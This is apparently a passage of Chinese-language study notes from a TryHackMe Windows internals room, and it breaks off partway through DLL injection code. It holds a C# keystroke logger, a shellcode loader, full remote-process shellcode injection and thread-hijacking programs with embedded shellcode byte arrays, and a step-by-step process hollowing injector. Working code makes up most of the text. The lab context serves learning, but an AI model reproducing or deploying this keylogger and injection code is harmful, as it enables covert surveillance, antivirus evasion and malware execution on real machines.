[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
// 键盘钩子类型,表示低级键盘钩子
private static int WH_KEYBOARD_LL = 13;
// 键盘消息常量
// WM_KEYDOWN: 普通按键被按下时发送的消息
private const int WM_KEYDOWN = 0x0100;
// WM_SYSKEYDOWN: 系统按键被按下时发送的消息(例如 ALT+TAB, F10 等)
private const int WM_SYSKEYDOWN = 0x0104;
// 全局写入器
private static StreamWriter logWriter;
// 程序的入口点,也是核心逻辑所在
public static void Main()
{
// 在程序启动时,打开一个文件用于写入日志
logWriter = new StreamWriter("keystrokes.log", true);
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
// 在程序退出时,关闭文件
logWriter.Close();
Application.Exit();
}
// 安装钩子的方法
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
// SetWindowsHookEx 函数将我们的回调函数注册为钩子
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
// 钩子的回调函数,当有键盘事件发生时,Windows 会调用此函数
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
// 如果 nCode 小于 0,不处理消息
if (nCode >= 0)
{
// 检查按键是否被按下
if (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN)
{
// 获取虚拟键码
int vkCode = Marshal.ReadInt32(lParam);
// 将虚拟键码转换为 C# 的 Keys 枚举
Keys key = (Keys)vkCode;
// 判断按键是否是字母
if (key >= Keys.A && key <= Keys.Z)
{
// 如果是字母,转换为小写并直接写入文件,不换行
logWriter.Write(key.ToString().ToLower());
}
else
{
// 如果是其他按键,将按键名称(用 [] 括起来)写入文件并换行
logWriter.WriteLine($" [{key.ToString()}]");
}
// 确保内容立即写入文件,防止数据丢失
logWriter.Flush();
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
// 将消息传递给 Hook 链中的下一个钩子
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
}
Shellcode Launcher
Shellcode 加载器的 P/Invoke 过程:
1
2
3
4
5
6
7
8
9
10
11
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
// 调用进程的虚拟地址空间中分配、保留或提交内存区域
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
// 等待一个内核对象,直到该对象进入有信号状态或者指定的超时时间已到
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
// 在当前进程的虚拟地址空间内创建一个新的线程来执行一个指定的函数
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
Shellcode 加载器的具体过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 1分配一个可以容纳 shellcode 大小的内存区域,并且立即提交并且赋予可执行和读写权限
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 把 shellcode 复制到这个内存区域
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
// 2初始化句柄,线程 ID,线程参数
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// 指向线程参数的指针,这里为空
// 也可以在下面的那个调用里面直接传一个 IntPtr.Zero
// 但是上面两个是必须的,函数创建之后会把线程句柄和线程 ID 写回
IntPtr pinfo = IntPtr.Zero;
// 3创建一个新线程来执行 shellcode
// CreateThread 是一个 Win32 API 函数,它在新线程中执行一个函数(这里是我们的 shellcode)
// 参数依次为:线程安全属性、栈大小、线程起始地址、线程参数、创建标志、线程 ID
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
// 4等待线程执行完成
// WaitForSingleObject 是一个 Win32 API 函数,用于等待一个对象(这里是我们的线程)进入有信号状态或超时
// 0xFFFFFFFF 代表无限等待,直到线程执行完毕
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
Abusing Windows Internals
“Windows 内部”一词可涵盖 Windows 操作系统后端的所有组件。这包括进程、文件格式、COM(组件对象模型)、任务调度、I/O 系统等。本房间将重点介绍如何滥用和利用进程及其组件、DLL(动态链接库)和 PE(可执行文件)格式。
Abusing Processes 滥用进程
一个应用程序可以包含一个或者多个进程,而一个进程有多个子组件,他们可以直接和内存或虚拟内存交互,下面是每个进程的关键组件和用途,前面的 Windows Internals 房间我已经介绍过了,这里直接复制过来了。
进程组件 | 作用 |
---|---|
私有虚拟内存空间 | 分配给进程的虚拟内存地址 |
可执行程序 | 定义存储在虚拟内存空间中的代码和数据 |
打开的句柄 | 定义进程可访问的系统资源的句柄 |
安全上下文 | 访问令牌定义了用户, 安全组,权限和其他安全信息 |
进程 ID | 每个进程独有的数字标识符 |
线程 | 进程计划执行的部分 |
进程注入通常是一个总括性术语,用于描述通过合法功能或组件将恶意代码注入进程。在本房间中,我们将重点关注以下四种不同类型的进程注入。
Injection Type | Function |
---|---|
Process Hollowing 进程挖空 | 把代码注入进暂停并且挖空的进程中 |
Thread Execution Hijacking 线程执行劫持 | 把代码注入进暂停的线程中 |
Dynamic-link Library Injection 动态链接库注入 | 把 DLL 注入进正在运行的进程中 |
Portable Executable Injection 可执行文件注入 | 将指向恶意函数的 PE 镜像自注入到目标进程中 |
MITRE T1055 中概述了许多其他形式的进程注入。
最基本的进程注入形式是 shellcode 注入,可以分为四个步骤:
- 以所有访问权限打开目标进程。
- 为 shellcode 分配目标进程内存。
- 将 shellcode 写入目标进程中已分配的内存。
- 使用远程线程执行 shellcode。
这些步骤也可以用图表形式分解,以描绘 Windows API 调用如何与进程内存交互。

这里会分解一个 Shellcode 注入器的执行过程,这里和我们之前玩的注入一个弹窗是一样的。
第一步,用 OpenProcess
打开目标进程:
1
2
3
4
5
processHandle = OpenProcess(
PROCESS_ALL_ACCESS, // Defines access rights
FALSE, // Target handle will not be inhereted
DWORD(atoi(argv[1])) // Local process supplied by command-line arguments
);
第二步,分配内存:
1
2
3
4
5
6
7
remoteBuffer = VirtualAllocEx(
processHandle, // Opened target process
NULL,
sizeof shellcode, // Region size of memory allocation
(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
第三步,写入 shellcode 到分配好的内存区域中:
1
2
3
4
5
6
7
WriteProcessMemory(
processHandle, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
sizeof shellcode, // byte size of data
NULL
);
第四步,用 CreateRemoteThread
执行:
1
2
3
4
5
6
7
8
9
remoteThread = CreateRemoteThread(
processHandle, // Opened target process
NULL,
0, // Default size of the stack
(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
NULL,
0, // Ran immediately after creation
NULL
);
远程代码注入实战
这里的 Shellcode 是弹计算器的,执行会被卡巴拦未授权的注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0xdb, 0xc5, 0xd9, 0x74, 0x24, 0xf4, 0x5d, 0xb8, 0xd7, 0x4d, 0x78, 0xab, 0x2b, 0xc9,
0xb1, 0x30, 0x31, 0x45, 0x18, 0x83, 0xc5, 0x04, 0x03, 0x45, 0xc3, 0xaf, 0x8d, 0x57,
0x03, 0xad, 0x6e, 0xa8, 0xd3, 0xd2, 0xe7, 0x4d, 0xe2, 0xd2, 0x9c, 0x06, 0x54, 0xe3,
0xd7, 0x4b, 0x58, 0x88, 0xba, 0x7f, 0xeb, 0xfc, 0x12, 0x8f, 0x5c, 0x4a, 0x45, 0xbe,
0x5d, 0xe7, 0xb5, 0xa1, 0xdd, 0xfa, 0xe9, 0x01, 0xdc, 0x34, 0xfc, 0x40, 0x19, 0x28,
0x0d, 0x10, 0xf2, 0x26, 0xa0, 0x85, 0x77, 0x72, 0x79, 0x2d, 0xcb, 0x92, 0xf9, 0xd2,
0x9b, 0x95, 0x28, 0x45, 0x90, 0xcf, 0xea, 0x67, 0x75, 0x64, 0xa3, 0x7f, 0x9a, 0x41,
0x7d, 0x0b, 0x68, 0x3d, 0x7c, 0xdd, 0xa1, 0xbe, 0xd3, 0x20, 0x0e, 0x4d, 0x2d, 0x64,
0xa8, 0xae, 0x58, 0x9c, 0xcb, 0x53, 0x5b, 0x5b, 0xb6, 0x8f, 0xee, 0x78, 0x10, 0x5b,
0x48, 0xa5, 0xa1, 0x88, 0x0f, 0x2e, 0xad, 0x65, 0x5b, 0x68, 0xb1, 0x78, 0x88, 0x02,
0xcd, 0xf1, 0x2f, 0xc5, 0x44, 0x41, 0x14, 0xc1, 0x0d, 0x11, 0x35, 0x50, 0xeb, 0xf4,
0x4a, 0x82, 0x54, 0xa8, 0xee, 0xc8, 0x78, 0xbd, 0x82, 0x92, 0x16, 0x40, 0x10, 0xa9,
0x54, 0x42, 0x2a, 0xb2, 0xc8, 0x2b, 0x1b, 0x39, 0x87, 0x2c, 0xa4, 0xe8, 0xec, 0xc3,
0xee, 0xb1, 0x44, 0x4c, 0xb7, 0x23, 0xd5, 0x11, 0x48, 0x9e, 0x19, 0x2c, 0xcb, 0x2b,
0xe1, 0xcb, 0xd3, 0x59, 0xe4, 0x90, 0x53, 0xb1, 0x94, 0x89, 0x31, 0xb5, 0x0b, 0xa9,
0x13, 0xd6, 0xca, 0x39, 0xff, 0x19
};
int main(int argc, char* argv[]) {
HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (atoi(argv[1])));
PVOID b_shellcode = VirtualAllocEx(h_process, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h_process, b_shellcode, shellcode, sizeof shellcode, NULL);
HANDLE h_thread = CreateRemoteThread(h_process, NULL, 0, (LPTHREAD_START_ROUTINE)b_shellcode, NULL, 0, NULL);
}
Process Hollowing 进程挖空
进程挖空(Process Hollowing),或称为“空心化”,是一种常见的恶意软件技术。它的核心思想就是:
- 创建外壳:创建一个合法的、看似无害的进程(比如
notepad.exe
)。但关键在于,这个进程被创建时是暂停的。 - 清空外壳:利用暂停状态,攻击者可以清空这个合法进程的内存空间。
- 注入恶意代码:将恶意代码(payload)注入到这个被清空的内存空间中。
- 恢复执行:恢复进程的执行,此时,这个合法进程实际上执行的是注入的恶意代码。
这些步骤也可以用图表形式分解,以描绘 Windows API 调用如何与进程内存交互。

接下来会讲解一个基本的进程镂空注入器:
第一步:创建挂起进程
我们必须使用 CreateProcessA
创建一个处于挂起状态的目标进程。并传入 STARTUPINFOA
和 PROCESS_INFORMATION
结构体,来创建并获取目标进程的启动信息和句柄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// STARTUPINFOA 是一个结构体,它包含新进程的启动信息,比如窗口大小、位置、标准输入/输出句柄等
LPSTARTUA target_si = new STARTUPINFOA();
// 包含进程和主线程的信息
// PROCESS_INFORMATION 是一个结构体,这里会接收 CreateProcessA 函数返回的新创建的进程和其主线程的句柄和 ID
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION();
// 上下文结构体指针
CONTEXT c;
if (CreateProcessA(
(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // 要执行的程序名称
NULL, // 命令行参数
NULL, // 进程安全属性
NULL, // 线程安全属性
TRUE, // 句柄从调用进程继承
CREATE_SUSPENDED, // 新进程处于暂停状态
NULL, // 环境变量 NULL 表示使用默认值
NULL, // 当前目录 NULL 表示使用默认值
target_si, // 指向启动信息结构体的指针
target_pi) == 0) { // 指向进程信息结构体的指针
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;
第二步:读取恶意镜像到本地内存
我们需要打开一个恶意镜像进行注入,首先使用 CreateFileA
获取恶意镜像的句柄。
1
2
3
4
5
6
7
8
9
10
// 被打开文件的句柄
HANDLE hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // 要打开的文件的路径
GENERIC_READ, // 只读访问
FILE_SHARE_READ, // 只读共享模式,FILE_SHARE_READ 意味着其他进程也可以打开这个文件来读取,但不能写入
NULL, // 使用默认的安全设置
OPEN_EXISTING, // 指示函数如果文件或设备存在就打开它
NULL, // 模板文件
NULL // 文件属性
);
一旦获得恶意镜像的句柄,就使用 GetFileSize
获取其大小,然后用 VirtualAlloc
为当前进程分配一个足够存储整个文件的内存块。
1
2
3
4
5
6
7
8
9
10
11
DWORD maliciousFileSize = GetFileSize(
hMaliciousCode, // 被打开文件的句柄
0 // 打开 4GB 以下文件
);
PVOID pMaliciousImage = VirtualAlloc(
NULL,
maliciousFileSize, // 文件大小
0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x04 // Enables read/write access (PAGE_READWRITE)
);
现在内存已分配给本地进程,必须对其进行写入。利用从先前步骤中获得的信息,我们可以使用 ReadFile
将数据写入本地进程内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DWORD numberOfBytesRead; // 存储读取的字节数
if (!ReadFile(
hMaliciousCode, // 被打开文件的句柄
pMaliciousImage, // 分配好的内存区域
maliciousFileSize, // 文件大小
&numberOfBytesRead, // 读取的字节数
NULL
)) {
cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
TerminateProcess(target_pi->hProcess, 0);
return 1;
}
CloseHandle(hMaliciousCode);
第三步:掏空目标进程
我们需要“掏空”目标进程的内存,我们必须找到进程的基址和入口点。
为了找到这些信息,我们首先要获取主线程的上下文(Context)。在 32 位系统上,GetThreadContext
函数能让我们访问线程暂停时的所有寄存器状态。在线程创建并挂起后,EBX
寄存器会指向进程环境块(PEB),而 EAX
则包含了原始程序的入口点
一旦获取了 EBX
的值,我们使用 ReadProcessMemory
函数,从 EBX
指向的地址加上 0x8
(对于 32 位系统)或 0x10
(对于 64 位系统)的固定偏移量来读取进程的原始镜像基址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 只在指针中存储 CPU 寄存器
// CONTEXT_INTEGER 是一个标志,它告诉 GetThreadContext 函数,你只关心线程的整数寄存器(如 Eax、Ebx 等),而不需要浮点寄存器或其他信息。这能减少开销,并获得你所需的数据。
c.ContextFlags = CONTEXT_INTEGER;
// 获取当前线程上下文
GetThreadContext(
target_pi->hThread, // 从 PROCESS_INFORMATION 结构体中获取 线程 句柄
&c // GetThreadContext 函数会将该线程的当前寄存器状态写入这个结构体
);
// 存储从目标进程读取的基址
PVOID pTargetImageBaseAddress;
// 读取进程内存
ReadProcessMemory(
target_pi->hProcess, // 从 PROCESS_INFORMATION 结构体中获取 进程 句柄
(PVOID)(c.Ebx + 8), // 进程的基址
&pTargetImageBaseAddress, // 存储基址到这个变量
sizeof(PVOID), // 要读取的字节数
0 // 读取的字节数,这里用 NULL 代替,表示不关心
);
获取进程的基址后,我们就可以开始取消映射内存了。我们可以从 ntdll.dll 导入 ZwUnmapViewOfSection
API 来释放目标进程的内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // 获取 ntdll 的句柄
// 从 ntdll 里面获取 ZwUnmapViewOfSection API
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
hNtdllBase, // ntdll 的句柄
"ZwUnmapViewOfSection" // 要获取的 API 函数
);
// 存储执行 ZwUnmapViewOfSection 的结果,也就是掏空成功与否
DWORD dwResult = pZwUnmapViewOfSection(
target_pi->hProcess, // 从 PROCESS_INFORMATION 结构体中获取 进程 句柄
pTargetImageBaseAddress // 要掏空的进程的基址
);
第四步:重新分配并写入恶意代码
第四步,我们需要在目标进程中重新分配内存,但这回分配的大小不是原文件的大小,而是恶意代码镜像在内存中所需的大小。
为了获取这个精确的尺寸,我们必须解析恶意可执行文件(PE 文件)的头部。
- 首先,通过
e_lfanew
字段,我们可以找到从 DOS 头部到 PE 头部的字节偏移量。 - 接着,一旦定位到 PE 头部,我们就可以从可选头部中读取
SizeOfImage
字段。
过程简述:获取 DOS 头部 -> 从 DOS 头部中获取 e_lfanew -> 定位到 NT 头部 -> NT 头部中找到可选头部 -> 找到 SizeOfImage
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 从恶意镜像中获取 DOS 头部
// 将 pMaliciousImage 强制类型转换为 PIMAGE_DOS_HEADER
// 使其能作为指针来访问 PE 文件的 DOS 头部
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage;
// PE 文件的核心是 NT 头部,e_lfanew 存储了从文件开头到 NT 头部起始位置的偏移量,而 e_lfanew 是在 DOS 头部中的
// 这里利用这个偏移量,计算出 NT 头部在内存中的确切位置
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew);
// 从 NT 头部结构体中获取可选头部的大小
// SizeOfImage 定义了可执行文件加载到内存所需的总大小
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage;
// 在目标进程中分配内存
// 返回的是分配好的内存的指针地址
PVOID pHollowAddress = VirtualAllocEx(
target_pi->hProcess, // 目标进程的句柄,从结构体里面拿的
pTargetImageBaseAddress, // 进程的基址
sizeOfMaliciousImage, // 加载到内存所需的总大小
0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);
分配好内存后,我们就可以将恶意文件的内存镜像写入目标进程。由于 PE 文件的内存镜像结构,我们必须先将 PE 头部写入新分配的内存空间。在写入 PE 头部时,我们使用 WriteProcessMemory
函数,并指定 PE 头部的大小来确定写入范围。
1
2
3
4
5
6
7
8
9
if (!WriteProcessMemory(
target_pi->hProcess, // 进程句柄
pTargetImageBaseAddress, // 进程基址
pMaliciousImage, // 内存中恶意镜像文件的地址
pNTHeaders->OptionalHeader.SizeOfHeaders, // PE 头的大小
NULL
)) {
cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}
现在我们需要写入每个节。要查找节的数量,我们可以使用 NT 头中的 NumberOfSections
。我们可以通过循环遍历 e_lfanew
和当前头的大小来写入每个节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 根据 PE 中的分段数进行循环
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
// 确定当前的 PE 节头部 强制转换成 PIMAGE_SECTION_HEADER 结构体
// 计算出当前节的头部在恶意文件内存中的精确位置
// DOS 头到 NT 头部的偏移量 + NT 头本身的大小 + 节数 * 节头部的大小 = 要写入的节头部地址
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(
target_pi->hProcess, // 进程句柄
(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // 要写入的目标地址 当前节在内存中的相对地址,这是在节里面定义好的
(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // 源地址 当前节在文件中的偏移量 镜像基址 + 当前节数据的偏移量 = 节开始的地址
pSectionHeader->SizeOfRawData, // 当前节的原始数据大小
NULL // 写入了多少字节
);
}
第五步:修改上下文并恢复线程
我们使用 SetThreadContext
将 EAX
更改为指向入口点,最后使用 ResumeThread
将进程从挂起状态中恢复。
1
2
3
4
5
6
7
8
9
10
11
12
13
// 将挂起线程的 EAX 寄存器修改为恶意镜像的入口点地址。当线程恢复时,它将从这个新的地址开始执行。
// 这里的 c 是上下文结构体
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
// 修改线程的上下文
SetThreadContext(
target_pi->hThread, // 线程句柄
&c // 指向存储的上下文结构的指针
);
ResumeThread(
target_pi->hThread // 线程句柄
);
这样就完成了一个进程空洞注入。
实战
靶机里面有一个 demo,这里就不贴代码了。注意要用 32 位环境编译,被注入和注入的程序都要 32 位的,可以自己写一个简单的输入输出模拟一下就 OK 了,我这里是用的一个输出固定字符串的文件来检验我注入是否成功了。
1
2
3
4
5
6
7
#include <iostream>
int main()
{
std::cout << "Pwned!\n";
system("pause");
}
Thread Hijacking 线程劫持
这里原标题是 Abusing Process Components ,但是实际讲的是线程执行
线程劫持可分为十个步骤:
- 定位并打开要控制的目标进程。
- 为恶意代码分配内存区域。
- 在分配的内存中编写恶意代码。
- 确定要劫持的目标线程的线程 ID。
- 打开目标线程。
- 暂停目标线程。
- 获取线程上下文。
- 更新恶意代码的指令指针。
- 重写目标线程上下文。
- 恢复被劫持的线程。
这个技术的前三步和之前讲过的是一样的,获取进程句柄,分配内存,写入 shellcode 进内存。
1
2
3
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
PVOIF remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
第四步,我们首先使用 CreateToolhelp32Snapshot
API 创建一个包含所有线程信息的系统快照。接着,利用 Thread32First
和 Thread32Next
遍历这个快照,找到与目标进程 ID 匹配的线程 ID。找到后,我们使用 OpenThread
API 获取这个目标线程的句柄,以便后续操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 初始化结构体
THREADENTRY32 threadEntry;
HANDLE hSnapshot = CreateToolhelp32Snapshot(
TH32CS_SNAPTHREAD, // 快照系统中的所有线程
0 // 指示当前进程,不过这里会被忽略,返回的所有的进程的快照
);
// 获取快照中的第一个线程
Thread32First(
hSnapshot, // 快照的句柄
&threadEntry // 指向 THREADENTRY32 的结构体指针
);
do {
if (threadEntry.th32OwnerProcessID == processID) // 匹配进程 ID
{
// 打开找到进程的线程的句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break;
}
} while (Thread32Next(hsnapshot, &threadEntry));
第六步,挂起线程。接着,我们使用 GetThreadContext
获取线程的上下文。在 CONTEXT
结构体中,我们找到并修改指令指针寄存器(在 x64 系统上为 RIP
,在 x86 系统上为 EIP
),让它指向我们之前注入的 shellcode
的内存地址。最后,用 SetThreadContext
将修改后的上下文写回线程。最后一步让程序继续运行就 OK 了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 挂起线程
SuspendThread(hThread);
// 定义一个 CONTEXT 结构体
CONTEXT context;
// 获取线程上下文
GetThreadContext(hThread, &context);
// 修改 CONTEXT 结构体变量让 RIP 指向我们分配并且写入好的内存区域
context.Rip = (DWORD_PTR)remoteBuffer;
// 设置线程的上下文
SetThreadContext(hThread,&context);
// 让线程继续运行
ResumeThread(hThread);
实战
这个给的 Demo 就是修改 RIP 的,所以直接劫持 x64 应用就 OK。当然 shellcode 也要换一下,下面是我改好的代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <windows.h>
#include <dbghelp.h>
#include <tlhelp32.h>
#include <stdio.h>
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xde\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\x53\x60\x16\x71\x23\x14\xed\xcc\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xaf\x28\x95"
"\x95\xd3\xfc\x2d\xcc\x53\x60\x57\x20\x62\x44\xbf\x9d\x05"
"\x28\x27\xa3\x46\x5c\x66\x9e\x33\x28\x9d\x23\x3b\x5c\x66"
"\x9e\x73\x28\x9d\x03\x73\x5c\xe2\x7b\x19\x2a\x5b\x40\xea"
"\x5c\xdc\x0c\xff\x5c\x77\x0d\x21\x38\xcd\x8d\x92\xa9\x1b"
"\x30\x22\xd5\x0f\x21\x01\x21\x47\x39\xa8\x46\xcd\x47\x11"
"\x5c\x5e\x70\xf3\x9f\x6d\x44\x53\x60\x16\x39\xa6\xd4\x99"
"\xab\x1b\x61\xc6\x21\xa8\x5c\xf5\x88\xd8\x20\x36\x38\x22"
"\xc4\x0e\x9a\x1b\x9f\xdf\x30\xa8\x20\x65\x84\x52\xb6\x5b"
"\x40\xea\x5c\xdc\x0c\xff\x21\xd7\xb8\x2e\x55\xec\x0d\x6b"
"\x80\x63\x80\x6f\x17\xa1\xe8\x5b\x25\x2f\xa0\x56\xcc\xb5"
"\x88\xd8\x20\x32\x38\x22\xc4\x8b\x8d\xd8\x6c\x5e\x35\xa8"
"\x54\xf1\x85\x52\xb0\x57\xfa\x27\x9c\xa5\xcd\x83\x21\x4e"
"\x30\x7b\x4a\xb4\x96\x12\x38\x57\x28\x62\x4e\xa5\x4f\xbf"
"\x40\x57\x23\xdc\xf4\xb5\x8d\x0a\x3a\x5e\xfa\x31\xfd\xba"
"\x33\xac\x9f\x4b\x39\x99\x15\xed\xcc\x53\x60\x16\x71\x23"
"\x5c\x60\x41\x52\x61\x16\x71\x62\xae\xdc\x47\x3c\xe7\xe9"
"\xa4\x98\xe4\x58\x6e\x05\x21\xac\xd7\xb6\xa9\x70\x33\x86"
"\x28\x95\xb5\x0b\x28\xeb\xb0\x59\xe0\xed\x91\x56\x11\x56"
"\x8b\x40\x12\x79\x1b\x23\x4d\xac\x45\x89\x9f\xc3\x12\x42"
"\x78\x8e\xcc";
int main(int argc, char *argv[])
{
HANDLE h_thread = NULL;
THREADENTRY32 threadEntry;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof(THREADENTRY32);
HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (atoi(argv[1])));
PVOID b_shellcode = VirtualAllocEx(h_process, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h_process, b_shellcode, shellcode, sizeof shellcode, NULL);
HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(h_snapshot, &threadEntry);
do
{
if (threadEntry.th32OwnerProcessID == (atoi(argv[1])))
{
h_thread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
break;
}
} while (Thread32Next(h_snapshot, &threadEntry));
if (h_thread)
{
SuspendThread(h_thread);
GetThreadContext(h_thread, &context);
context.Rip = (DWORD_PTR)b_shellcode;
SetThreadContext(h_thread, &context);
ResumeThread(h_thread);
printf("Inject Success!\n");
}
else
{
printf("Thread Not Found!\n");
}
}
Abusing DLLs 滥用 DLL
DLL 注入可以分为6个步骤:
- 找到要注入的目标进程。
- 打开目标进程。
- 为恶意 DLL 分配内存区域。
- 将恶意 DLL 写入分配的内存。
- 加载并执行恶意 DLL。
在 DLL 注入的第一步,我们必须找到一个目标线程。可以使用三个 Windows API 调用从进程中找到一个线程:CreateToolhelp32Snapshot()
、 Process32First()
和 Process32Next()
,这个和上一节中是一样的,不过是通过遍历线程了。Thread32
和 Process32
的区别。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD getProcessId(const char *processName){
// 打快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(
TH32CS_SNAPPROCESS, // 快照系统中的所有线程
0);
if (hSnapshot){
PROCESSENTRY32 entry; // 创建 PROCESSENTRY32 结构体指针
entry.dwSize = sizeof(PROCESSENTRY32); // 预先设置结构体的大小
if (Process32First(hSnapshot, &entry)){
do {
// 从结构体指针里面取出进程名和提供的进程名进行比对
if (!strcmp(entry.szExeFile, processName)){
return entry.th32ProcessID; // 返回比对成功的 PID
}
} while (Process32Next(hSnapshot, &entry));
}
}
}
// 存储进程 PID
DWORD processId = getProcessId(processName);
第二步,枚举出 PID 后,我们需要打开进程。这可以通过多种 Windows API 调用实现: GetModuleHandle
、 GetProcAddress
或 OpenProcess
。
第三步,必须为提供的恶意 DLL 分配内存。与大多数注入器一样,这可以通过 VirtualAllocEx
来完成。
第四步,我们需要将恶意 DLL 写入已分配的内存位置。我们可以使用 WriteProcessMemory
来写入已分配的区域。
这里我不太理解为什么前面分配内存的时候不 + 1,按理说分配的大小要超过能写入的大小吧,这里写入的大小都超过分配内存区域的大小了,难道不报错?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 通过 PID 获取进程的句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
// 在目标进程的地址空间中给 DLL 分配内存,返回一个指针地址
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL,
strlen(dllLibFullPath), // DLL 路径文本本身的大小
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
);
// 写入内存
